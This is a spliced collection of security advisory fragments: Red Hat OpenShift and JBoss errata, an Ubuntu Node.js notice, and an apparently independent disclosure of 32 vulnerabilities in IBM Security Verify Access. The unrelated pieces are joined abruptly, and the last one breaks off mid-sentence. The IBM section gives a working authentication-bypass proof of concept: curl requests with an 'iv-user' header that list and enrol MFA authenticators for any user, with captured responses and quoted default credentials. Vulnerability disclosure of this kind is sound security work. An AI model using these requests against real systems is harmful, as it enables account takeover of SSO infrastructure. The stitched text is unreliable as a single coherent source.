2115257 - Need to Change system-product-name to "OpenShift Virtualization" in CNV-4.12
2115258 - The storageclass of VM disk is different from quick created and customize created after changed the default storageclass
2115280 - [e2e] kubevirt-e2e-aws see two duplicated navigation items
2115769 - Machine type is updated to rhel8.6.0 in KV CR but not in Templates
2116225 - The filter keyword of the related operator 'Openshift Data Foundation' is 'OCS' rather than 'ODF'
2116644 - Importer pod is failing to start with error "MountVolume.SetUp failed for volume "cdi-proxy-cert-vol" : configmap "custom-ca" not found"
2117549 - Cannot edit cloud-init data after add ssh key
2117803 - Cannot edit ssh even vm is stopped
2117813 - Improve descriptive text of VM details while VM is off
2117872 - CVE-2022-1798 kubeVirt: Arbitrary file read on the host from KubeVirt VMs
2118257 - outdated doc link tolerations modal
2118823 - Deprecated API 1.25 call: virt-cdi-controller/v0.0.0 (linux/amd64) kubernetes/$Format
2119069 - Unable to start windows VMs on PSI setups
2119128 - virt-launcher cannot be started on OCP 4.12 due to PodSecurity restricted:v1.24
2119309 - readinessProbe in VM stays on failed
2119615 - Change the disk size causes the unit changed
2120907 - Cannot filter disks by label
2121320 - Negative values in migration metrics
2122236 - Failing to delete HCO with SSP sticking around
2122990 - VMExport should check APIGroup
2124147 - "ReadOnlyMany" should not be added to supported values in memory dump
2124307 - Ui crash/stuck on loading when trying to detach disk on a VM
2124528 - On upgrade, when live-migration is failed due to an infra issue, virt-handler continuously and endlessly tries to migrate it
2124555 - View documentation link on MigrationPolicies page des not work
2124557 - MigrationPolicy description is not displayed on Details page
2124558 - Non-privileged user can start MigrationPolicy creation
2124565 - Deleted DataSource reappears in list
2124572 - First annotation can not be added to DataSource
2124582 - Filtering VMs by OS does not work
2124594 - Docker URL validation is inconsistent over application
2124597 - Wrong case in Create DataSource menu
2126104 - virtctl image-upload hangs waiting for pod to be ready with missing access mode defined in the storage profile
2126397 - many KubeVirtComponentExceedsRequestedMemory alerts in Firing state
2127787 - Expose the PVC source of the dataSource on UI
2127843 - UI crashed by selecting "Live migration network"
2127931 - Change default time range on Virtualization -> Overview -> Monitoring dashboard to 30 minutes
2127947 - cluster-network-addons-config tlsSecurityProfle takes a long time to update after setting APIServer
2128002 - Error after VM template deletion
2128107 - sriov-manage command fails to enable SRIOV Virtual functions on the Ampere GPU Cards
2128872 - [4.11]Can't restore cloned VM
2128948 - Cannot create DataSource from default YAML
2128949 - Cannot create MigrationPolicy from example YAML
2128997 - [4.11.1]virt-launcher cannot be started on OCP 4.12 due to PodSecurity restricted:v1.24
2129013 - Mark Windows 11 as TechPreview
2129234 - Service is not deleted along with the VM when the VM is created from a template with service
2129301 - Cloud-init network data don't wipe out on uncheck checkbox 'Add network data'
2129870 - crypto-policy : Accepting TLS 1.3 connections by validating webhook
2130509 - Auto image import in failed state with data sources pointing to external manually-created PVC/DV
2130588 - crypto-policy : Common Ciphers support by apiserver and hco
2130695 - crypto-policy : Logging Improvement and publish the source of ciphers
2130909 - Non-privileged user can start DataSource creation
2131157 - KV data transfer rate chart in VM Metrics tab is not displayed
2131165 - [dark mode] Additional statuses accordion on Virtualization Overview page not visible enough
2131674 - Bump virtlogd memory requirement to 20Mi
2132031 - Ensure Windows 2022 Templates are marked as TechPreview like it is done now for Windows 11
2132682 - Default YAML entity name convention.
2132721 - Delete dialogs
2132744 - Description text is missing in Live Migrations section
2132746 - Background is broken in Virtualization Monitoring page
2132783 - VM can not be created from Template with edited boot source
2132793 - Edited Template BSR is not saved
2132932 - Typo in PVC size units menu
2133540 - [pod security violation audit] Audit violation in "cni-plugins" container should be fixed
2133541 - [pod security violation audit] Audit violation in "bridge-marker" container should be fixed
2133542 - [pod security violation audit] Audit violation in "manager" container should be fixed
2133543 - [pod security violation audit] Audit violation in "kube-rbac-proxy" container should be fixed
2133655 - [pod security violation audit] Audit violation in "cdi-operator" container should be fixed
2133656 - [4.12][pod security violation audit] Audit violation in "hostpath-provisioner-operator" container should be fixed
2133659 - [pod security violation audit] Audit violation in "cdi-controller" container should be fixed
2133660 - [pod security violation audit] Audit violation in "cdi-source-update-poller" container should be fixed
2134123 - KubeVirtComponentExceedsRequestedMemory Alert for virt-handler pod
2134672 - [e2e] add data-test-id for catalog -> storage section
2134825 - Authorization for expand-spec endpoint missing
2135805 - Windows 2022 template is missing vTPM and UEFI params in spec
2136051 - Name jumping when trying to create a VM with source from catalog
2136425 - Windows 11 is detected as Windows 10
2136534 - Not possible to specify a TTL on VMExports
2137123 - VMExport: export pod is not PSA complaint
2137241 - Checkbox about delete vm disks is not loaded while deleting VM
2137243 - registery input add docker prefix twice
2137349 - "Manage source" action infinitely loading on DataImportCron details page
2137591 - Inconsistent dialog headings/titles
2137731 - Link of VM status in overview is not working
2137733 - No link for VMs in error status in "VirtualMachine statuses" card
2137736 - The column name "MigrationPolicy name" can just be "Name"
2137896 - crypto-policy: HCO should pick TLSProfile from apiserver if not provided explicitly
2138112 - Unsupported S3 endpoint option in Add disk modal
2138119 - "Customize VirtualMachine" flow is not user-friendly because settings are split into 2 modals
2138199 - Win11 and Win22 templates are not filtered properly by Template provider
2138653 - Saving Template prameters reloads the page
2138657 - Setting DATA_SOURCE_ Template parameters makes VM creation fail
2138664 - VM that was created with SSH key fails to start
2139257 - Cannot add disk via "Using an existing PVC"
2139260 - Clone button is disabled while VM is running
2139293 - Non-admin user cannot load VM list page
2139296 - Non-admin cannot load MigrationPolicies page
2139299 - No auto-generated VM name while creating VM by non-admin user
2139306 - Non-admin cannot create VM via customize mode
2139479 - virtualization overview crashes for non-priv user
2139574 - VM name gets "emptyname" if click the create button quickly
2139651 - non-priv user can click create when have no permissions
2139687 - catalog shows template list for non-priv users
2139738 - [4.12]Can't restore cloned VM
2139820 - non-priv user cant reach vm details
2140117 - Provide upgrade path from 4.11.1->4.12.0
2140521 - Click the breadcrumb list about "VirtualMachines" goes to undefined project
2140534 - [View only] it should give a permission error when user clicking the VNC play/connect button as a view only user
2140627 - Not able to select storageClass if there is no default storageclass defined
2140730 - Links on Virtualization Overview page lead to wrong namespace for non-priv user
2140808 - Hyperv feature set to "enabled: false" prevents scheduling
2140977 - Alerts number is not correct on Virtualization overview
2140982 - The base template of cloned template is "Not available"
2140998 - Incorrect information shows in overview page per namespace
2141089 - Unable to upload boot images.
2141302 - Unhealthy states alerts and state metrics are missing
2141399 - Unable to set TLS Security profile for CDI using HCO jsonpatch annotations
2141494 - "Start in pause mode" option is not available while creating the VM
2141654 - warning log appearing on VMs: found no SR-IOV networks
2141711 - Node column selector is redundant for non-priv user
2142468 - VM action "Stop" should not be disabled when VM in pause state
2142470 - Delete a VM or template from all projects leads to 404 error
2142511 - Enhance alerts card in overview
2142647 - Error after MigrationPolicy deletion
2142891 - VM latency checkup: Failed to create the checkup's Job
2142929 - Permission denied when try get instancestypes
2143268 - Topolvm storageProfile missing accessModes and volumeMode
2143498 - Could not load template while creating VM from catalog
2143964 - Could not load template while creating VM from catalog
2144580 - "?" icon is too big in VM Template Disk tab
2144828 - "?" icon is too big in VM Template Disk tab
2144839 - Alerts number is not correct on Virtualization overview
2153849 - After upgrade to 4.11.1->4.12.0 hco.spec.workloadUpdateStrategy value is getting overwritten
2155757 - Incorrect upstream-version label "v1.6.0-unstable-410-g09ea881c" is tagged to 4.12 hyperconverged-cluster-operator-container and hyperconverged-cluster-webhook-container
- Description:
Red Hat JBoss Web Server is a fully integrated and certified set of components for hosting Java web applications. It is comprised of the Apache Tomcat Servlet container, JBoss HTTP Connector (mod_cluster), the PicketLink Vault extension for Apache Tomcat, and the Tomcat Native library. This release includes bug fixes, enhancements and component upgrades, which are documented in the Release Notes, linked to in the References.
The References section of this erratum contains a download link for the update. This software, such as Apache HTTP Server, is common to multiple JBoss middleware products, and is packaged under Red Hat JBoss Core Services to allow for faster distribution of updates, and for a more consistent update experience.
Security Fix(es):
- libxml2: integer overflows with XML_PARSE_HUGE (CVE-2022-40303)
- libxml2: dict corruption caused by entity reference cycles (CVE-2022-40304)
- expat: a use-after-free in the doContent function in xmlparse.c (CVE-2022-40674)
- zlib: a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field (CVE-2022-37434)
- curl: HSTS bypass via IDN (CVE-2022-42916)
- curl: HTTP proxy double-free (CVE-2022-42915)
- curl: POST following PUT confusion (CVE-2022-32221)
- httpd: mod_proxy: X-Forwarded-For dropped by hop-by-hop mechanism (CVE-2022-31813)
- httpd: mod_sed: DoS vulnerability (CVE-2022-30522)
- httpd: out-of-bounds read in ap_strcmp_match() (CVE-2022-28615)
- httpd: out-of-bounds read via ap_rwrite() (CVE-2022-28614)
- httpd: mod_proxy_ajp: Possible request smuggling (CVE-2022-26377)
- curl: control code in cookie denial of service (CVE-2022-35252)
- zlib: a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field (CVE-2022-37434)
- jbcs-httpd24-httpd: httpd: mod_isapi: out-of-bounds read (CVE-2022-28330)
- curl: Unpreserved file permissions (CVE-2022-32207)
- curl: various flaws (CVE-2022-32206 CVE-2022-32208)
- openssl: the c_rehash script allows command injection (CVE-2022-2068)
- openssl: c_rehash script allows command injection (CVE-2022-1292)
- jbcs-httpd24-httpd: httpd: core: Possible buffer overflow with very large or unlimited LimitXMLRequestBody (CVE-2022-22721)
- jbcs-httpd24-httpd: httpd: mod_sed: Read/write beyond bounds (CVE-2022-23943)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):
2064319 - CVE-2022-23943 httpd: mod_sed: Read/write beyond bounds 2064320 - CVE-2022-22721 httpd: core: Possible buffer overflow with very large or unlimited LimitXMLRequestBody 2081494 - CVE-2022-1292 openssl: c_rehash script allows command injection 2094997 - CVE-2022-26377 httpd: mod_proxy_ajp: Possible request smuggling 2095000 - CVE-2022-28330 httpd: mod_isapi: out-of-bounds read 2095002 - CVE-2022-28614 httpd: Out-of-bounds read via ap_rwrite() 2095006 - CVE-2022-28615 httpd: Out-of-bounds read in ap_strcmp_match() 2095015 - CVE-2022-30522 httpd: mod_sed: DoS vulnerability 2095020 - CVE-2022-31813 httpd: mod_proxy: X-Forwarded-For dropped by hop-by-hop mechanism 2097310 - CVE-2022-2068 openssl: the c_rehash script allows command injection 2099300 - CVE-2022-32206 curl: HTTP compression denial of service 2099305 - CVE-2022-32207 curl: Unpreserved file permissions 2099306 - CVE-2022-32208 curl: FTP-KRB bad message verification 2116639 - CVE-2022-37434 zlib: heap-based buffer over-read and overflow in inflate() in inflate.c via a large gzip header extra field 2120718 - CVE-2022-35252 curl: control code in cookie denial of service 2130769 - CVE-2022-40674 expat: a use-after-free in the doContent function in xmlparse.c 2135411 - CVE-2022-32221 curl: POST following PUT confusion 2135413 - CVE-2022-42915 curl: HTTP proxy double-free 2135416 - CVE-2022-42916 curl: HSTS bypass via IDN 2136266 - CVE-2022-40303 libxml2: integer overflows with XML_PARSE_HUGE 2136288 - CVE-2022-40304 libxml2: dict corruption caused by entity reference cycles
- ========================================================================== Ubuntu Security Notice USN-6457-1 October 30, 2023
nodejs vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 22.04 LTS
Summary:
Several security issues were fixed in Node.js.
Software Description: - nodejs: An open-source, cross-platform JavaScript runtime environment.
Details:
Tavis Ormandy discovered that Node.js incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to cause a denial of service. (CVE-2022-0778)
Elison Niven discovered that Node.js incorrectly handled certain inputs. (CVE-2022-1292)
Chancen and Daniel Fiala discovered that Node.js incorrectly handled certain inputs. (CVE-2022-2068)
Alex Chernyakhovsky discovered that Node.js incorrectly handled certain inputs. (CVE-2022-2097)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 22.04 LTS: libnode-dev 12.22.9~dfsg-1ubuntu3.1 libnode72 12.22.9~dfsg-1ubuntu3.1 nodejs 12.22.9~dfsg-1ubuntu3.1 nodejs-doc 12.22.9~dfsg-1ubuntu3.1
In general, a standard system update will make all the necessary changes. Solution:
For OpenShift Container Platform 4.9 see the following documentation, which will be updated shortly, for detailed release notes:
https://docs.openshift.com/container-platform/4.9/logging/cluster-logging-release-notes.html
For Red Hat OpenShift Logging 5.3, see the following instructions to apply this update:
https://docs.openshift.com/container-platform/4.9/logging/cluster-logging-upgrading.html
- Bugs fixed (https://bugzilla.redhat.com/):
2064698 - CVE-2020-36518 jackson-databind: denial of service via a large depth of nested objects 2135244 - CVE-2022-42003 jackson-databind: deep wrapper array nesting wrt UNWRAP_SINGLE_VALUE_ARRAYS 2135247 - CVE-2022-42004 jackson-databind: use of deeply nested arrays
- JIRA issues fixed (https://issues.jboss.org/):
LOG-3293 - log-file-metric-exporter container has not limits exhausting the resources of the node
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Advisory Information
Title: 32 vulnerabilities in IBM Security Verify Access Advisory URL: https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt Blog URL: https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html Date published: 2024-11-01 Vendors contacted: IBM Release mode: Released CVE: CVE-2022-2068, CVE-2023-30997, CVE-2023-30998, CVE-2023-31001, CVE-2023-31004, CVE-2023-31005, CVE-2023-31006, CVE-2023-32328, CVE-2023-32329, CVE-2023-32330, CVE-2023-38267, CVE-2023-38267, CVE-2023-38368, CVE-2023-38369, CVE-2023-38370, CVE-2023-43017, CVE-2024-25027, CVE-2024-35137, CVE-2024-35139, CVE-2024-35140, CVE-2024-35141, CVE-2024-35142
Product description
IBM Security Verify Access is a complete authorization and network security policy management solution. It provides end-to-end protection of resources over geographically dispersed intranets and extranets. In addition to state-of-the-art security policy management, IBM Security Verify Access provides authentication, authorization, data security, and centralized resource management capabilities.
IBM Security Verify Access offers the following features:
- Authentication
Provides a wide range of built-in authenticators and supports external authenticators.
- Authorization
Provides permit and deny decisions for protected resources requests in the secure domain through the authorization API.
- Data security and centralized resource management
Manages secure access to private internal network-based resources by using the public Internet's broad connectivity and ease of use with a corporate firewall system.
From https://www.ibm.com/docs/en/sva/10.0.8?topic=overview-introduction-security-verify-access
Vulnerability Summary
Vulnerable versions: IBM Security Verify Access < 10.0.8.
The summary of the vulnerabilities is as follows:
- non-assigned CVE vulnerability - Authentication Bypass on IBM Security Verify Runtime
- CVE-2024-25027 - Reuse of snapshot private keys
- CVE-2023-30997 - Local Privilege Escalation using OpenLDAP
- CVE-2023-30998 - Local Privilege Escalation using rpm
- CVE-2023-38267, CVE-2024-35141, CVE-2024-35142 - Insecure setuid binaries and multiple Local Privilege Escalation in IBM codes 5.1. CVE-2023-38267 - Local Privilege Escalation using mesa_config - import of a new snapshot 5.2. CVE-2024-35141 - Local Privilege Escalation using mesa_config - command injections 5.3. CVE-2023-38267 - Local Privilege Escalation using mesa_cli - import of a new snapshot 5.4. CVE-2024-35142 - Local Privilege Escalation using mesa_cli - telnet escape shell
- CVE-2023-43017 - PermitRootLogin set to yes
- CVE-2024-35137 and CVE-2024-35139 - Lack of password for the
clusteruser - CVE-2023-38368 - Non-standard way of storing hashes and world-readable files containing hashes
- CVE-2023-38369 - Hardcoded PKCS#12 files
- CVE-2023-31001 - Incorrect permissions in verify-access-dsc (race condition and leak of private key
- non-assigned CVE vulnerability - Insecure health_check.sh script in verify-access (race condition and leak of private key)
- CVE-2024-35140 - Local Privilege Escalation due to insecure health_check.sh script in verify-access (insecure SSL, insecure files)
- CVE-2024-35140 (duplicate?) - Local Privilege Escalation due to insecure health_check.sh script in verify-access-dsc (insecure SSL, insecure file)
- CVE-2023-31004 - Remote Code Execution due to insecure download of snapshot in verify-access-dsc, verify-access-runtime and verify-access-wrp
- CVE-2023-31005 - Lack of authentication in Postgres inside verify-access-runtime
- CVE-2023-31006 - Null pointer dereference in dscd - Remote DoS against DSC instances
- CVE-2023-32327 - XML External Entity (XXE) in dscd
- CVE-2023-38370 - Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)
- non-assigned CVE vulnerability - Remote Code Execution due to insecure download of rpm in verify-access-runtime (/usr/sbin/install_java_liberty.sh)
- CVE-2023-32328 - Remote Code Execution due to insecure Repository configuration
- CVE-2023-32329 - Additional repository configuration (potential supply-chain attack)
- non-assigned CVE vulnerability - Remote Code Execution due to insecure /usr/sbin/install_system.sh script in verify-access-runtime
- CVE-2023-32330 - Remote Code Execution due to insecure reload script in verify-access-runtime
- CVE-2023-32330 (duplicate?) - Remote Code Execution due to insecure reload script in verify-access-wrp
- non-assigned CVE vulnerability - Hardcoded private key for IBM ISS (ibmcom/verify-access)
- non-assigned CVE vulnerability - dcatool using an outdated OpenSSL library (ibmcom/verify-access)
- non-assigned CVE vulnerability - iss-lum using an outdated OpenSSL library (ibmcom/verify-access) and hardcoded keys
- non-assigned CVE vulnerability - Outdated "IBM Crypto for C" library
- non-assigned CVE vulnerability - Webseald using outdated code with remotely exploitable vulnerabilities 30.1. Libmodsecurity.so - 1 non-assigned CVE vulnerability 30.2. libtivsec_yamlcpp.so - 4 CVEs 30.3. libtivsec_xml4c.so - outdated Xerces-C library
- non-assigned CVE vulnerability - Outdated and untrusted CAs used in the Docker images
- non-assigned CVE vulnerability - Lack of privilege separation in Docker instances
TL;DR: An attacker can compromise IBM Security Verify Access using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities). IBM Security Verify Access is a SSO solution mainly used by banks, Fortune 500 companies and governmental entities.
Miscellaneous notes:
The vulnerabilities were found in October 2022 and were communicated to IBM at the beginning of 2023. They ultimately were patched at the end of June 2024 (after 18 months). Requiring 1.5 years to provide security patches for vulnerabilities found in a SSO solution does not appear to be in par with current cybersecurity risks and is quite worrying. Update: Following communications with IBM PSIRT in September 2024 regarding missing CVEs and the publication of this security advisory, it was confirmed that at least one vulnerability was not yet patched (a 2017 DoS in libinjection, no CVE).
The vulnerabilities were patched progressively in the 10.0.6, 10.0.7 and 10.0.8 versions. It is unclear if all the non-assigned CVE vulnerabilities have been patched but IBM confirmed that all the vulnerabilities were patched and then IBM closed all the corresponding tickets.
Other issues had been reported but ultimately were dismissed (e.g. hard-to-trigger crashes and I did not have any time left for this security assessment).
Communication with IBM was difficult since IBM closed the tickets used to track the vulnerabilities multiple times without releasing any security patches. The timeline provided at the later part of this advisory provides an overview of the interactions I have had with IBM. IBM PSIRT redirected queries to IBM support and IBM support provided extremely disappointing answers to vulnerabilities. When I went back to IBM PSIRT with these answers, IBM PSIRT refused them and provided opposite answers. Reporting vulnerabilities to IBM was also inefficient. When I asked IBM for missing CVEs in September 2024, IBM PSIRT confirmed that patches were missing. All the tickets were already closed in June 2024 by IBM and I previously received confirmation that all the vulnerabilities had been patched.
Security bulletins were mainly found by following @CVEnew (https://twitter.com/CVEnew) and I had to guess the patched vulnerabilities from the CVE descriptions. After some requests, thankfully, IBM sent me a list of CVEs corresponding to the vulnerabilities I reported.
It appears that some CVEs are still missing.
Finally, another CVE (CVE-2023-38371 - https://nvd.nist.gov/vuln/detail/CVE-2023-38371), not present in this advisory) was assigned by IBM but refers to an issue (V-[REDACTED] - Insecure SSLv3 connections to the DSC servers in the report sent to IBM) that was confirmed not to be a vulnerability by IBM and by me, after a second analysis. This CVE is likely to be revoked. Update: IBM confirmed in September 2024 that this CVE was bogus after I signaled IBM that this is an incorrect CVE.
Impacts
An attacker can compromise the entire authentication infrastructure based on IBM Security Verify Access (ISAM/ISVA appliances and IBM Docker images) using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities). Regarding the threat model, it is worth noting that attackers must be able to MITM traffic or get access inside the LAN of the tested organizations to exploit these vulnerabilities.
When the IBM Security Verify Access (ISVA) runtime docker instance (a core component of this solution) is reachable over the network, an attacker can bypass the entire authentication and interact with this back-end instance as any user, providing a complete control over any user without authentication. The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities and is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users (for example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...). The back-end APIs provided by the IBM Security Verify Access runtime docker instance are vulnerable to an authentication bypass vulnerability. Since the back-end is fully reachable, this vulnerability allows an attacker to get persistence in a targeted infrastructure by enrolling malicious Multi-Factor Authenticators to any user, without authentication (e.g. an authenticator assigned to any user, protected by a PIN (or not) chosen by the threat actor). In an offensive scenario, an attacker will likely delete authenticators for admins and security team and enroll new authenticators corresponding to admin accounts and get full control over the infrastructure while locking out legit admins.
This vulnerability has not been patched and IBM recommends implementing network restrictions or using mutual TLS authentication and following best practices:
Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication.
From https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1
And from https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters
And from https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications
Note that even with network restrictions, a low privileged user on a trusted machine can fully compromise the authentication solution, since the back-end used to manage the entire authentication infrastructure can be reached without authentication by sending a specific HTTP header. Network exposure of this back-end (e.g. with IPv6, from monitoring servers, from docker servers, from webseal servers [that must, by design, reach the authentication back-end], or using a SSRF vulnerability) means a full take over of the authentication infrastructure, which can be quite problematic for large organizations.
Recommendations
-
- Apply security patches.
-
- Use network segmentation to isolate the Security Verify Access (ISVA) Runtime Docker instance.
-
- Implement the optional authentication based on SSL certificates in the ISVA Runtime Docker instance (this functionality has been added in the latest ISVA release (10.0.8)).
-
- Flag any additional authenticator added to an account as suspicious.
-
- Review logs for any HTTP access from untrusted IPs to the Security Verify Access Runtime Docker instance.
Shodan provides a list of websites using this technology. For SOC teams, I suggest using Shodan to check if your organization is using IBM Security Verify Access and following IBM's security recommendations. Please note that due to the versatility of this solution, it is very difficult to correctly detect affected installations using a blackbox approach:
-
- https://www.shodan.io/search?query=http.favicon.hash%3A-2069014068, 1,740 results as of October 30, 2024
-
- https://www.shodan.io/search?query=webseal, 1,083 results as of October 30, 2024
-
- https://www.shodan.io/search?query=CP%3D%22NON+CUR+OTPi+OUR+NOR+UNI%22, 6,673 results as of October 30, 2024
Details - Authentication Bypass on IBM Security Verify Runtime
It is possible to compromise the authentication mechanism and the authentication infrastructure by reaching the APIs provided by the IBM Security Verify Runtime Docker instance.
The threat model for this vulnerability requires an attacker with network connectivity to the IBM Security Verify Runtime Docker instance (i) from the Internet (if this service is insecurely exposed) or (ii) more likely from within LAN of the audited organization (meaning the threat actor can reach the HTTPS server of IBM Security Verify Runtime Docker instance).
The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities. It is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users. For example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...
The different authentication mechanisms in the APIs provided by the Runtime Docker instance used to manage users (e.g. adding an authenticator for a specific user, removing an authenticator, getting seeds, ...) can be trivially bypassed by specifying an additional HTTP header iv-user: target-user (e.g. iv-user: admin) in the HTTPS requests.
Adding an additional HTTP header iv-user: target-user when querying the APIs will provide a complete control over the target-user.
There is a HTTPs server reachable on port 443/tcp providing APIs:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Usually, the IBM Security Verify Runtime Docker instance is only reached by WebSEAL servers (reverse-proxies managing authentication), after a successful authentication as easuser, as shown below:
Documentation from https://www.ibm.com/docs/SSPREK_10.0.0/com.ibm.isva.doc/config/reference/ref_isamcfg_wga_worksheet.htm:
Select the method for authentication between WebSEAL and the Advanced Access Control runtime listening interface
Certificate authentication
Use a certificate to authenticate between WebSEAL and the Advanced Access Control runtime listening interface.
User ID and password authentication
Use credentials to authenticate between WebSEAL and the Advanced Access Control runtime listening interface. The default username is easuser and the default password is passw0rd.
Attack scenario: an attacker will reach the HTTPS APIs provided by the IBM Security Verify Runtime Docker instance and will not use a SSL Certificate or any credential used to manage the instance (easuser).
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Note that while the WebSEAL are exposed to the Internet, the runtime instance is located inside the LAN and is not usually exposed to the Internet. The attacker needs to be located inside the LAN to reach the vulnerable APIs.
According to the documentation at https://www.ibm.com/docs/en/sva/10.0.7, we can see that the APIs are always reachable using the /mga/sps/* path. Actually, the /mga/ route seems to be managed by WebSEAL servers while the /sps/* routes are managed by the runtime docker instance.
Without authentication, an attacker can reach the IBM Security Verify Runtime Docker image docker instance by reaching, for example, the /sps/oauth/oauth20/authorize?client_id=ClientID&response_type=code&scope=mmfaAuthn API endpoint and specifying which target user to compromise using the additional HTTP header iv-user: target-user. This specific endpoint is used to enroll a new Multiple-Factor Authenticator (e.g. the official IBM Security Verify app (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&hl=en) for the target-user user.
By specifying the HTTP header iv-user: target-user, an attacker can interact with all the APIs located in /sps/* for any user, without authentication.
Listing of authenticators without any cookie or HTTP header - this non-intrusive request allows detecting a vulnerable IBM Security Verify Runtime Docker instance configured to use MFA.
kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators | jq .
{
"result": "FBTRBA306E The user management operation failed because the user is not authenticated."
}
Listing of authenticators for the target-user - with iv-user HTTP header (without session cookies nor specific credentials):
kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H "iv-user: target-user" | jq .
[
{
"device_name": "Iphone 13 Pro Max",
"oauth_grant": "uuida71[REDACTED]",
"auth_methods": [],
"os_version": "13",
"device_type": "[REDACTED]",
"id": "uuid20[REDACTED]",
"enabled": true
},
{
"device_name": "Iphone 13 Pro Max",
"oauth_grant": "uuida71[REDACTED]",
"auth_methods": [],
"os_version": "13",
"device_type": "[REDACTED]",
"id": "uuid20[REDACTED]",
"enabled": true
},
[...]
kali%
It is possible to enroll any new authenticator for the user target without authentication by reaching the IBM Security Verify Runtime instance and specifying iv-user: target-user in the HTTP header:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
A PoC is provided below. The provided secret code allows enrolling a new authenticator for the target user target-user. Note that the client_id variable must be edited as we use the specific TestAuthenticatorClient client identifier.
The valid client_id variable can be retrieved from the /sps/mga/user/mgmt/grant API:
kali% curl -kv -H "iv-user: target-user" https://test-runtime/sps/mga/user/mgmt/grant | jq .
{
"grants": [
{
"id": "uuida71[REDACTED]",
"isEnabled": true,
"clientId": "TestAuthenticatorClient",
[...]
I suggest using the specific client_id identifier configured in the targeted instance. The correct client_id identifier can also be obtained by visiting https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html. The device_selection.html webpage is just a front-end to get access to several APIs:
-
- /sps/mga/user/mgmt/grant
-
- /sps/mmfa/user/mgmt/authenticators
-
- /sps/fido2/registrations
-
- /sps/mga/user/mgmt/device
-
- /sps/apiauthsvc/policy/u2f_register
-
- /sps/mga/user/mgmt/clients
-
- ...
For example, visiting a remote IBM Security Verify Runtime instance athttps://url/sps/mga/user/mgmt/html/device/device_selection.html without an iv-user: target-user HTTP header will return empty information (since the resulting requests sent to APIs are not "authenticated"):
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Visiting the same address https://url/sps/mga/user/mgmt/html/device/device_selection.html using Burp Suite Pro, and (i) adding a HTTP Header iv-user: target-user in all the resulting HTTP requests and (ii) rewriting the URL from ^\/mga\/sps\/ to \/sps\/ (since the /mga/ path is hardcoded in JavaScript code) will now provide a full access for the target-user (adding an authenticator, deleting an authenticator, adding passkeys, ...).
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
An attacker can also add an new authenticator for any user using curl:
PoC:
kali% curl -kv "https://test-runtime/sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient&response_type=code&scope=mmfaAuthn" -H "iv-user: target-user"
* Host test-runtime:443 was resolved.
* IPv6: (none)
* IPv4: 10.0.0.15
* Trying 10.0.0.15:443...
* Connected to test-runtime (10.0.0.15) port 443
* using HTTP/1.x
> GET /sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient&response_type=code&scope=mmfaAuthn HTTP/1.1
> Host: test-runtime
> User-Agent: curl/8.5.0
> Accept: */*
> iv-user: target-user
>
< HTTP/1.1 302 Found
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Location: https://enroll-url/mga/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient&code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y
< Content-Language: en-US
< Transfer-Encoding: chunked
< Date: Sat, 07 Sep 2024 12:07:21 GMT
< Expires: Thu, 01 Dec 1994 16:00:00 GMT
< Cache-Control: no-store, no-cache=set-cookie
<
* Connection #0 to host test-runtime left intact
The resulting secret code provided in the HTTP answer can be used to enroll an official IBM Security Verify application (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&hl=en) corresponding to the target-user.
In order to import this secret token inside an IBM Verify Security application (an authenticator), we can:
-
- reach the
